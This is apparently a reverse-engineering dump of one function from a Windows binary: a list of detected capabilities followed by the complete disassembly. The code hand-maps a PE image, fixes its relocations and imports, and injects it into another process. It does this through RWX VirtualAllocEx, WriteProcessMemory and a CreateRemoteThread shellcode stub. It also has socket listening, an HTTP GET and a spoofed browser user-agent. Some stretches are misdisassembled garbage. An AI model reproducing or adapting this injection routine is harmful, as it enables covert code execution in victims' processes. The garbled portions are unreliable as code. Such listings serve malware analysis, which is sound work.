Function at 0x140018380
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using speck
Execute shellcode via indirect call
Inject pe
Inject thread
Parse pe header
Reference http user-agent string
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x678
movaps xmmword [rsp + 0x660], xmm6
mov dword [rsp + 0x348], r8d
mov rdi, rdx
mov rbx, rcx
mov rax, qword [rsp + 0x6e0]
cmp rax, 5
je 0x140018604
cmp rax, 6
jne 0x14001c2f2
mov eax, 0x6f6d6572
xor eax, dword [r9]
movzx ecx, word [r9 + 4]
xor ecx, 0x6574
or ecx, eax
jne 0x14001c2f2
mov rax, qword [0x140130170]
cmp rax, 2
jne 0x140019831
movzx eax, byte [0x140130179]
test al, al
je 0x140019845
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x60], rdi
lea rdx, str.127.0.0.1:0
lea rcx, [rsp + 0x80]
mov r8d, 0xb
call fcn.1400a6b60
mov rax, qword [rsp + 0x80]
test rax, rax
je 0x14001da39
mov rcx, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x98]
cmp rdi, rbx
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x40], rcx
je 0x14001da46
xor r15d, r15d
jmp 0x1400184a2
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapFree
dec r14
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, r14
call sub.KERNEL32.dll_HeapFree
add rdi, 0x20
cmp rdi, rbx
je 0x14001d7fc
mov r14, r15
movzx ebp, word [rdi]
cmp bp, 2
je 0x14001d7f9
mov esi, dword [rdi + 0x14]
mov r13d, dword [rdi + 0x18]
movzx r12d, word [rdi + 0x1c]
movzx eax, word [rdi + 0x12]
mov word [rsp + 0x510], ax
movups xmm0, xmmword [rdi + 2]
movaps xmmword [rsp + 0x500], xmm0
mov rax, qword [0x1401d2140]
cmp rax, 3
jne 0x1400185fa
lea rcx, [rsp + 0x80]
mov edx, ebp
call fcn.1400a72b0
cmp qword [rsp + 0x80], 0
mov r15, qword [rsp + 0x88]
jne 0x1400185b6
test bp, bp
je 0x140018526
mov r8d, 0x1c
mov ax, 0x17
movups xmm0, xmmword [rsp + 0x502]
jmp 0x140018543
movzx r12d, word [rsp + 0x504]
mov esi, dword [rsp + 0x500]
mov r8d, 0x10
mov ax, 2
xorps xmm0, xmm0
rol r12w, 8
mov word [rsp + 0x80], ax
mov word [rsp + 0x82], r12w
mov dword [rsp + 0x84], esi
movups xmmword [rsp + 0x88], xmm0
mov dword [rsp + 0x98], r13d
mov rcx, r15
lea rdx, [rsp + 0x80]
call sub.ws2_32.dll_bind
cmp eax, 0xffffffff
je 0x14001859b
mov rcx, r15
mov edx, pe_nt_image_headers64
call sub.ws2_32.dll_listen
cmp eax, 0xffffffff
jne 0x140018743
call sub.ws2_32.dll_WSAGetLastError
mov r13d, eax
shl r13, 0x20
or r13, 2
mov rcx, r15
call fcn.14010ced4
mov r15, r13
test r14, r14
je 0x140018495
mov eax, r14d
and eax, 3
cmp eax, 1
jne 0x140018495
mov r13, qword [r14 - 1]
mov rsi, qword [r14 + 7]
mov rcx, r13
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140018481
cmp qword [rsi + 0x10], 0x11
jb 0x140018470
mov r13, qword [r13 - 8]
jmp 0x140018470
call fcn.1400a6720
jmp 0x1400184e7
mov eax, 0x61636f6c
xor eax, dword [r9]
movzx ecx, byte [r9 + 4]
xor ecx, 0x6c
or ecx, eax
jne 0x14001c2f2
mov dword [rsp + 0xa0], 0
mov word [rsp + 0xa4], 0
mov dword [rsp + 0x80], 0
xorps xmm6, xmm6
movups xmmword [rsp + 0x88], xmm6
mov qword [rsp + 0x98], 7
mov byte [rsp + 0xa0], 1
lea r8, [rsp + 0x80]
mov rcx, rbx
mov rdx, rdi
call fcn.1400a0e10
test rax, rax
jne 0x14001c2f2
mov rdi, rdx
mov qword [rsp + 0x3b8], 1
movups xmmword [rsp + 0x3c0], xmm6
lea rcx, [rsp + 0x80]
call fcn.1400a1640
cmp dword [rsp + 0x80], 2
mov qword [rsp + 0x40], rdi
jne 0x14001895f
mov rax, qword [rsp + 0x88]
mov ecx, eax
and ecx, 3
xor edx, edx
mov qword [rsp + 0x58], rdx
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x140018e59
mov r13d, 0
test rcx, rcx
je 0x140018e5c
lea rbx, [rax - 1]
mov r14, qword [rax - 1]
mov rdi, qword [rax + 7]
mov rcx, r14
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x140018713
cmp qword [rdi + 0x10], 0x11
jb 0x140018702
mov r14, qword [r14 - 8]
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, r14
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
mov rax, qword [rsp + 0x3c0]
mov qword [rsp + 0x58], rax
mov r13, qword [rsp + 0x3c8]
mov rdi, qword [rsp + 0x40]
jmp 0x140018e5c
cmp qword [rsp + 0x40], 0
je 0x14001875e
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, qword [rsp + 0x70]
call sub.KERNEL32.dll_HeapFree
test r14, r14
je 0x1400187b4
mov eax, r14d
and eax, 3
cmp eax, 1
jne 0x1400187b4
lea rsi, [r14 - 1]
mov r12, qword [r14 - 1]
mov rdi, qword [r14 + 7]
mov rcx, r12
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400187a3
cmp qword [rdi + 0x10], 0x11
jb 0x140018792
mov r12, qword [r12 - 8]
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, r12
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
lea rcx, [rsp + 0x80]
mov rdx, r15
call fcn.1400a7ac0
movzx eax, word [rsp + 0x80]
cmp ax, 2
je 0x14001da5a
test ax, ax
lea rax, [rsp + 0x86]
lea rcx, [rsp + 0x9c]
cmove rcx, rax
movzx eax, word [rcx]
mov word [rsp + 0x600], ax
movzx eax, byte [0x1401d21e9]
mov rcx, qword [0x1401d2138]
test rcx, rcx
jne 0x140018823
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x14001da06
mov rcx, rax
mov qword [0x1401d2138], rax
mov r8d, 0x18
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14001da06
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov byte [rax + 0x10], 0
lock inc qword [rax]
jle 0x14001d961
call fcn.1400a8080
mov r12, rax
xor ecx, ecx
call fcn.14007e6b0
lock inc qword [rax]
jle 0x14001d961
mov rsi, rax
movzx eax, byte [0x1401d21e9]
mov rcx, qword [0x1401d2138]
test rcx, rcx
jne 0x1400188a0
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x14001d9bf
mov rcx, rax
mov qword [0x1401d2138], rax
mov r8d, 0x30
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14001d9bf
mov r13, rax
mov qword [rax], 1
mov qword [rax + 8], 1
xorps xmm0, xmm0
movups xmmword [rax + 0x10], xmm0
mov qword [rsp + 0x500], rax
lock inc qword [rax]
jle 0x14001d961
movzx eax, byte [0x1401d2068]
test al, al
je 0x1400189e7
mov byte [0x1401d2068], 1
mov qword [rsp + 0x80], 0
call fcn.1400a5d30
test rax, rax
je 0x14001dbce
mov rdi, qword [rax]
mov qword [rax], 0
test rdi, rdi
je 0x1400189e7
lock inc qword [rdi]
jle 0x14001d961
mov byte [0x1401d2068], 1
mov qword [rsp + 0x80], rdi
call fcn.1400a5d30
test rax, rax
je 0x14001dbbb
mov rcx, qword [rax]
mov qword [rax], rdi
test rcx, rcx
jne 0x140018a28
jmp 0x140018a33
mov r14, qword [rsp + 0xb8]
mov qword [rsp + 0x80], 0
lea r8, [rsp + 0x80]
mov rcx, rdi
xor edx, edx
mov r9d, 1
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x140018e4d
xor ecx, ecx
mov r13d, 0
sub r14, qword [rsp + 0x80]
mov eax, 0
mov qword [rsp + 0x58], rax
cmovb r14, rcx
ja 0x14001d29e
add r14, 0x400
jb 0x140018e5c
mov rax, r14
and rax, 0x1fff
je 0x14001c311
mov ecx, 0x2000
sub rcx, rax
add r14, rcx
setb bpl
jmp 0x140018e5f
movzx eax, byte [0x1401d2068]
test al, al
je 0x140019815
mov byte [0x1401d2068], 1
mov qword [rsp + 0x80], 0
call fcn.1400a5d30
test rax, rax
je 0x14001dbce
mov rcx, qword [rax]
mov qword [rax], 0
xor edi, edi
test rcx, rcx
je 0x140018a33
lock dec qword [rcx]
jne 0x140018a33
call fcn.1400da710
mov rbx, qword [rsp + 0x500]
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140018a4f
lock inc qword [rcx + 0x18]
jle 0x14001db65
movzx eax, byte [0x1401d21e9]
mov rcx, qword [0x1401d2138]
test rcx, rcx
jne 0x140018a7a
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x14001d9bf
mov rcx, rax
mov qword [0x1401d2138], rax
mov r8d, 0x30
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14001d9bf
mov qword [rax], rsi
mov qword [rax + 8], r13
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r15
mov qword [rax + 0x20], r14
lea rcx, [0x1400da760]
mov qword [rax + 0x28], rcx
lea r8, [0x14017e730]
mov rcx, r12
mov rdx, rax
call fcn.1400a8270
mov r15, rdx
test rax, rax
jne 0x14001da98
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x90], r15
mov rcx, r15
call sub.KERNEL32.dll_CloseHandle
lock dec qword [rsi]
jne 0x140018aff
mov rcx, qword [rsp + 0x80]
call fcn.140024700
mov qword [rsp + 0x40], r14
mov rax, qword [rsp + 0x88]
lock dec qword [rax]
jne 0x140018b1f
lea rcx, [rsp + 0x88]
call fcn.140024600
lea r13, [rsp + 0x600]
lea rbp, [0x140009980]
lea rdi, [0x140194078]
lea r14, [rsp + 0x2c0]
lea rsi, [rsp + 0x500]
lea r15, [rsp + 0x80]
lea rbx, [0x140131a14]
jmp 0x140018b94
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapFree
dec r12
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, r12
call sub.KERNEL32.dll_HeapFree
lea r13, [rsp + 0x600]
lea rbp, [0x140009980]
mov qword [rsp + 0x2c0], r13
mov qword [rsp + 0x2c8], rbp
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x88], 1
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x98], 1
mov rcx, rsi
mov rdx, r15
call fcn.140003b00
mov rcx, r15
mov rdx, rsi
call fcn.1400da310
cmp qword [rsp + 0x80], 0
je 0x140018d30
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x2c0], rcx
mov eax, ecx
and eax, 3
movsxd rax, dword [rbx + rax*4]
add rax, rbx
jmp rax
mov qword [rsp + 0x500], r14
lea rax, [fcn.1400a3640]
mov qword [rsp + 0x508], rax
lea rax, str.testserver:_pre_connect_with_error
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], 1
and al, 0x98
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
and al, 0x98
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
call fcn.1400a6260
jmp 0x140018cea
add bl, ch
nop word cs:[eax + eax]
movzx eax, byte [rcx + 0xf]
cmp al, 2
jne 0x140018c27
jmp 0x140018ce0
shr rcx, 0x20
call fcn.1400826a0
cmp al, 2
je 0x140018ce0
jmp 0x140018c27
mov ecx, 0x64
call sub.KERNEL32.dll_Sleep
mov r12, qword [rsp + 0x2c0]
mov eax, r12d
and eax, 3
cmp eax, 1
jne 0x140018b94
mov r13, qword [r12 - 1]
mov rbp, qword [r12 + 7]
mov rcx, r13
call qword [rbp]
cmp qword [rbp + 8], 0
je 0x140018b71
cmp qword [rbp + 0x10], 0x11
jb 0x140018b60
mov r13, qword [r13 - 8]
jmp 0x140018b60
mov rcx, qword [rsp + 0x88]
call fcn.14010ced4
movzx edi, word [rsp + 0x600]
lea rcx, [rsp + 0x80]
call fcn.1400b55f0
movzx eax, byte [0x1401d21e9]
mov rcx, qword [0x1401d2138]
test rcx, rcx
je 0x140018d71
mov rbx, qword [rsp + 0x58]
mov r14, qword [rsp + 0x40]
jmp 0x140018d93
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
mov rbx, qword [rsp + 0x58]
mov r14, qword [rsp + 0x40]
je 0x14001da17
mov rcx, rax
mov qword [0x1401d2138], rax
mov r8d, 0x20
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14001da17
mov rsi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r14
mov word [rax + 0x18], di
mov rax, qword [rsp + 0x140]
lock dec qword [rax]
jne 0x140018de6
mov rcx, qword [rsp + 0x140]
mov rdx, qword [rsp + 0x148]
call fcn.1400c05d0
mov qword [rsp + 0x140], rsi
lea rax, [0x14017f268]
mov qword [rsp + 0x148], rax
lea rsi, [rsp + 0x500]
lea rdx, [rsp + 0x80]
mov r8d, 0x100
mov rcx, rsi
call sub.msvcrt.dll_memcpy
mov rcx, rsi
call fcn.1400b5870
mov rsi, rax
mov r14, rdx
mov rdi, qword [rsp + 0x60]
mov qword [rsp + 0x500], rsi
mov qword [rsp + 0x508], r14
lock inc qword [rsi]
jg 0x14001987d
jmp 0x14001d961
call sub.KERNEL32.dll_GetLastError
xor eax, eax
mov qword [rsp + 0x58], rax
xor r13d, r13d
mov bpl, 1
xor eax, eax
mov qword [rsp + 0x60], rax
xorps xmm6, xmm6
lea r15, [0x140131940]
mov rsi, qword [rsp + 0x58]
jmp 0x140018e8d
shr rax, 0x20
cmp eax, 0x23
jne case.0x140018f4e.2
cmp r13, rsi
je 0x140018fe7
mov rax, rsi
sub rax, r13
cmp rax, r14
mov rbx, r14
cmovb rbx, rax
test bpl, bpl
cmovne rbx, rax
mov r8, qword [rsp + 0x3b8]
add r8, r13
lea rcx, [rsp + 0x80]
mov rdx, rdi
mov r9, rbx
call fcn.1400a4f60
cmp qword [rsp + 0x80], 0
je case.default.0x140018eef
mov r12, qword [rsp + 0x88]
mov ebx, r12d
and ebx, 3
movsxd rax, dword [r15 + rbx*4]
add rax, r15
jmp rax
movzx eax, byte [r12 + 0x10]
jmp 0x140018f1c
cmp al, 0xb
je 0x140018f30
mov rax, r12
jne 0x140018f3b
jmp 0x1400192e1
mov eax, 0
je 0x1400192e1
mov ecx, eax
and ecx, 3
lea rdx, [0x1401319f4]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
cmp byte [rax + 0x10], 0x23
je 0x140018e8d
jmp case.0x140018f4e.2
cmp byte [rax + 0xf], 0x23
jne case.0x140018f4e.2
lea r12, [rax - 1]
mov rbx, qword [rax - 1]
mov rdi, qword [rax + 7]
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x140018f9e
cmp qword [rdi + 0x10], 0x11
jb 0x140018f8d
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, r12
call sub.KERNEL32.dll_HeapFree
mov rdi, qword [rsp + 0x40]
jmp 0x140018e8d
mov r8d, 0x20
lea rcx, [rsp + 0x3b8]
mov rdx, rsi
call fcn.140085620
mov rsi, qword [rsp + 0x3c0]
mov r13, qword [rsp + 0x3c8]
jmp 0x140018e96
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x60]
cmp rcx, rax
cmovbe rcx, rax
test rax, rax
je 0x14001933d
cmp rcx, rbx
ja 0x14001da28
sub rcx, rax
mov qword [rsp + 0x60], rcx
add r13, rax
mov qword [rsp + 0x3c8], r13
cmp rsi, qword [rsp + 0x58]
jne 0x140018e8d
cmp r13, rsi
jne 0x140018e8d
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0x80], xmm6
lea rsi, [rsp + 0x500]
mov rcx, rsi
mov rdx, rdi
lea r8, [rsp + 0x80]
call fcn.1400a4d10
cmp qword [rsp + 0x500], 0
lea r13, [0x140131a04]
jne 0x14001913c
mov rbx, qword [rsp + 0x508]
test rbx, rbx
je 0x14001933d
cmp rbx, 0x21
jae 0x14001d965
lea rcx, [rsp + 0x3b8]
mov rdx, qword [rsp + 0x58]
mov r8, rbx
call fcn.140085620
mov rsi, qword [rsp + 0x3c0]
mov r13, qword [rsp + 0x3c8]
mov rcx, qword [rsp + 0x3b8]
add rcx, r13
lea rdx, [rsp + 0x80]
mov r8, rbx
call sub.msvcrt.dll_memcpy
add r13, rbx
mov qword [rsp + 0x3c8], r13
lodsb al, byte [rsi]
and al, 0xc8
add eax, dword [rax]
add cl, ch
invalid
std
invalid
invalid
lodsb al, byte [rsi]
and al, 0xc8
add eax, dword [rax]
add cl, ch
invalid
cmp byte [rax + 0x10], 0x23
jne case.0x140018f4e.2
mov rcx, rsi
mov rdx, rdi
lea r8, [rsp + 0x80]
call fcn.1400a4d10
cmp qword [rsp + 0x500], 0
je case.default.0x140019151
mov rax, qword [rsp + 0x508]
mov ecx, eax
and ecx, 3
add byte [rcx + 0x3e183c1], cl
movsxd rcx, dword [r13 + rcx*4]
add rcx, r13
jmp rcx
str word [rax - 0x75]
jl 0x1400191ca
jmp 0x14001911a
add ecx, ebp
std
invalid
lea rax, [rbx - 2]
cmp rax, 2
jb 0x14001933d
test rbx, rbx
je 0x14001933d
lea rbx, [r12 - 1]
mov r14, qword [r12 - 1]
mov rdi, qword [r12 + 7]
mov rcx, r14
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x140019327
cmp qword [rdi + 0x10], 0x11
jb 0x140019316
mov r14, qword [r14 - 8]
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, r14
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
mov rdi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x3b8]
mov rsi, qword [rsp + 0x3c0]
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
test rbx, rbx
je 0x14001c2f2
movzx eax, word [rbx]
cmp eax, 0x5a4d
jne 0x14001c2f2
movsxd rbp, dword [rbx + 0x3c]
cmp dword [rbp + rbx], 0x4550
jne 0x14001c2f2
add rbp, rbx
mov edi, dword [rbp + 0x50]
test rdi, rdi
je 0x1400193c7
mov rcx, qword [0x1401d2138]
test rcx, rcx
jne 0x1400193ad
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x14001bc78
mov rcx, rax
mov qword [0x1401d2138], rax
mov edx, 8
mov r8, rdi
call sub.KERNEL32.dll_HeapAlloc
mov r14, rax
test rax, rax
jne 0x1400193cd
jmp 0x14001bc78
mov r14d, 1
mov qword [rsp + 0x70], rsi
movzx r15d, word [rbp + 6]
test r15, r15
mov qword [rsp + 0x58], rdi
je 0x14001946d
lea rax, [rbp + 0x18]
movzx esi, word [rbp + 0x14]
add rsi, rax
cmp r15d, 1
jne 0x1400193fb
xor r12d, r12d
jmp 0x14001944b
mov edi, r15d
and edi, 0xfffffffe
lea r13, [rsi + 0x3c]
xor r12d, r12d
nop dword [rax + rax]
mov ecx, dword [r13 - 0x30]
mov r8d, dword [r13 - 0x2c]
add rcx, r14
mov edx, dword [r13 - 0x28]
add rdx, rbx
call sub.msvcrt.dll_memcpy
add r12, 2
mov ecx, dword [r13 - 8]
mov r8d, dword [r13 - 4]
add rcx, r14
mov edx, dword [r13]
add rdx, rbx
call sub.msvcrt.dll_memcpy
add r13, 0x50
cmp rdi, r12
jne 0x140019410
test r15b, 1
je 0x14001946d
lea rax, [r12 + r12*4]
mov ecx, dword [rsi + rax*8 + 0xc]
mov r8d, dword [rsi + rax*8 + 0x10]
add rcx, r14
mov edx, dword [rsi + rax*8 + 0x14]
add rdx, rbx
call sub.msvcrt.dll_memcpy
mov ecx, 0x1fffff
xor edx, edx
mov r8d, dword [rsp + 0x348]
call sub.KERNEL32.dll_OpenProcess
test rax, rax
je 0x14001c2f2
mov rsi, rax
mov r8d, dword [rbp + 0x50]
mov dword [rsp + 0x20], 0x40
mov rcx, rax
xor edx, edx
mov r9d, 0x3000
call sub.KERNEL32.dll_VirtualAllocEx
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14001c2f2
mov qword [rsp + 0x60], rsi
mov eax, dword [rbp + 0xb0]
mov r10d, dword [rax + r14]
test r10d, r10d
je 0x1400195e1
movabs rcx, 0x8000000000000001
mov edx, dword [rbp + 0xb4]
add rax, r14
add rdx, rax
mov r8, qword [rsp + 0x40]
sub r8, qword [rbp + 0x30]
add rcx, 0xfffffffffffffffd
mov r9, rax
jmp 0x140019518
mov r11d, dword [rax + 4]
lea rax, [r11 + r9]
mov r10d, dword [r11 + r9]
mov r9, rax
test r10d, r10d
je 0x1400195e1
mov r10d, r10d
cmp rdx, r10
jb 0x1400195e1
mov r11d, dword [rax + 4]
test r11, r11
je 0x1400195e1
lea rsi, [r11 - 8]
cmp rsi, 2
jb 0x140019504
add r10, r14
mov r11, rsi
shr r11, 1
cmp r11, 1
adc r11, 0
cmp rsi, 4
jae 0x140019580
xor edi, edi
test r11b, 1
je 0x140019500
movzx r11d, word [r9 + rdi*2 + 8]
mov esi, r11d
and esi, 0xf000
cmp esi, 0xa000
jne 0x140019500
and r11d, 0xfff
add qword [r10 + r11], r8
jmp 0x140019500
mov r15, r11
and r15, rcx
xor edi, edi
jmp 0x140019599
add rdi, 2
cmp r15, rdi
je 0x140019554
movzx esi, word [r9 + rdi*2 + 8]
mov r12d, esi
and r12d, 0xf000
cmp r12d, 0xa000
jne 0x1400195bc
and esi, 0xfff
add qword [r10 + rsi], r8
movzx esi, word [r9 + rdi*2 + 0xa]
mov r12d, esi
and r12d, 0xf000
cmp r12d, 0xa000
jne 0x140019590
and esi, 0xfff
add qword [r10 + rsi], r8
jmp 0x140019590
mov r13d, dword [rbp + 0x90]
mov eax, dword [r13 + r14 + 0xc]
test eax, eax
je 0x14001966c
add r13, r14
jmp 0x14001960c
mov eax, dword [r13 + 0x20]
add r13, 0x14
test eax, eax
je 0x14001966c
mov ecx, eax
add rcx, r14
call sub.KERNEL32.dll_LoadLibraryA
mov r12, rax
mov edi, dword [r13]
mov rax, qword [rdi + r14]
test rax, rax
je 0x140019600
mov r15d, dword [r13 + 0x10]
add rdi, r14
add r15, r14
xor esi, esi
jmp 0x14001965d
movzx edx, ax
mov rcx, r12
call sub.KERNEL32.dll_GetProcAddress
mov qword [r15 + rsi], rax
mov rax, qword [rdi + rsi + 8]
add rsi, 8
test rax, rax
je 0x140019600
test rax, rax
js 0x140019640
lea rdx, [rax + r14]
add rdx, 2
jmp 0x140019643
mov qword [rsp + 0x20], 0
mov r13, qword [rsp + 0x60]
mov rcx, r13
mov rdx, qword [rsp + 0x40]
mov r8, r14
mov rsi, qword [rsp + 0x58]
mov r9, rsi
call sub.KERNEL32.dll_WriteProcessMemory
test eax, eax
je 0x14001c2f2
mov edi, dword [rbp + 0x28]
movzx eax, byte [0x1401d21e9]
mov rcx, qword [0x1401d2138]
test rcx, rcx
jne 0x1400196c8
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x14001d9ae
mov rcx, rax
mov qword [0x1401d2138], rax
mov r8d, 0x29
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14001d9ae
mov r12, rax
mov rcx, qword [rsp + 0x40]
add rdi, rcx
mov dword [rax], 0x28ec8348
mov word [rax + 4], 0xb948
movabs rax, 0x4d00000001c2c748
mov qword [r12 + 0xe], rax
mov dword [r12 + 0x16], 0xb848c031
mov dword [r12 + 0x22], 0x8348d0ff
mov word [r12 + 0x26], 0x28c4
mov byte [r12 + 0x28], 0xc3
mov qword [r12 + 6], rcx
mov qword [r12 + 0x1a], rdi
mov dword [rsp + 0x20], 0x40
mov r8d, 0x29
mov rcx, r13
xor edx, edx
mov r9d, 0x3000
call sub.KERNEL32.dll_VirtualAllocEx
mov r15, rax
mov qword [rsp + 0x20], 0
mov r9d, 0x29
mov rcx, r13
mov rdx, rax
mov r8, r12
call sub.KERNEL32.dll_WriteProcessMemory
test eax, eax
je 0x14001c2f2
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, r13
xor edx, edx
xor r8d, r8d
mov r9, r15
call sub.KERNEL32.dll_CreateRemoteThread
test rax, rax
je 0x14001c2f2
mov rcx, rax
call sub.KERNEL32.dll_CloseHandle
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, r12
call sub.KERNEL32.dll_HeapFree
mov rcx, r13
call sub.KERNEL32.dll_CloseHandle
test rsi, rsi
mov rsi, qword [rsp + 0x70]
je 0x1400197e3
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, r14
call sub.KERNEL32.dll_HeapFree
test rsi, rsi
je 0x1400197f9
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
movaps xmm6, xmmword [rsp + 0x660]
add rsp, 0x678
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor edi, edi
mov rbx, qword [rsp + 0x500]
mov rcx, qword [rbx + 0x10]
test rcx, rcx
jne 0x140018a44
jmp 0x140018a4f
call fcn.1400da5a0
movzx eax, byte [0x140130179]
test al, al
jne 0x140018400
lea rsi, [rsp + 0x80]
mov rcx, rsi
call fcn.1400b55f0
mov rcx, rsi
call fcn.1400b5870
mov rsi, rax
mov r14, rdx
mov qword [rsp + 0x500], rsi
mov qword [rsp + 0x508], r14
lock inc qword [rsi]
jle 0x14001d961
lock inc qword [r14]
jle 0x14001d961
movzx eax, byte [0x1401d21e9]
mov rcx, qword [0x1401d2138]
test rcx, rcx
jne 0x1400198b2
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x14001d9d0
mov rcx, rax
mov qword [0x1401d2138], rax
mov r8d, 3
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14001d9d0
mov r15, rax
mov byte [rax + 2], 0x54
mov word [rax], 0x4547
test rdi, rdi
je 0x140019921
js 0x14001d9ff
movzx eax, byte [0x1401d21e9]
mov rcx, qword [0x1401d2138]
test rcx, rcx
jne 0x14001990a
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x14001bc78
mov rcx, rax
mov qword [0x1401d2138], rax
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapAlloc
mov r12, rax
test rax, rax
jne 0x140019927
jmp 0x14001bc78
mov r12d, 1
mov rcx, r12
mov rdx, rbx
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], r14
mov qword [rsp + 0x90], r15
mov qword [rsp + 0x98], 3
mov qword [rsp + 0xa0], 3
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0xb0], rdi
mov qword [rsp + 0xb8], rdi
mov qword [rsp + 0xc0], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xc8], xmm0
mov dword [rsp + 0xe0], 0x3b9aca00
lock dec qword [rsi]
jne 0x1400199b2
mov rcx, qword [rsp + 0x500]
call fcn.1400c3040
lea rcx, [rsp + 0x508]
mov rax, qword [rsp + 0x508]
lock dec qword [rax]
jne 0x1400199cd
call fcn.1400c3120
lea rax, [0x140180d7e]
mov qword [rsp + 0x640], rax
mov qword [rsp + 0x648], 0xa
lea rax, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:99.0__Gecko_20100101_Firefox_99.0
mov qword [rsp + 0x4c0], rax
mov qword [rsp + 0x4c8], 0x4e
lea rax, [rsp + 0x640]
mov qword [rsp + 0x2c0], rax
lea rcx, [0x1400bac50]
mov qword [rsp + 0x2c8], rcx
lea rax, [rsp + 0x4c0]
mov qword [rsp + 0x2d0], rax
mov qword [rsp + 0x2d8], rcx
lea rax, str.combase.dll
mov qword [rsp + 0x500], rax
mov qword [rsp + 0x508], 2
mov qword [rsp + 0x520], 0
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x510], rax
mov qword [rsp + 0x518], 2
lea rcx, [rsp + 0x600]
lea rdx, [rsp + 0x500]
call fcn.140003b00
mov r8, qword [rsp + 0x648]
mov qword [rsp + 0x618], r8
mov rdx, qword [rsp + 0x610]
cmp r8, rdx
ja 0x14001d88d
mov rdx, qword [rsp + 0x600]
lea rcx, [rsp + 0x500]
call fcn.1400072d0
cmp qword [rsp + 0x500], 0
jne 0x14001d9f2
mov rdi, qword [rsp + 0x508]
mov rbx, qword [rsp + 0x510]
cmp rbx, 2
jb 0x140019b09
movzx eax, word [rdi]
cmp eax, 0x2d78
je 0x140019bea
movzx eax, word [rdi]
cmp eax, 0x2d58
je 0x140019bea
mov rsi, qword [rsp + 0xd0]
test rsi, rsi
je 0x140019bce
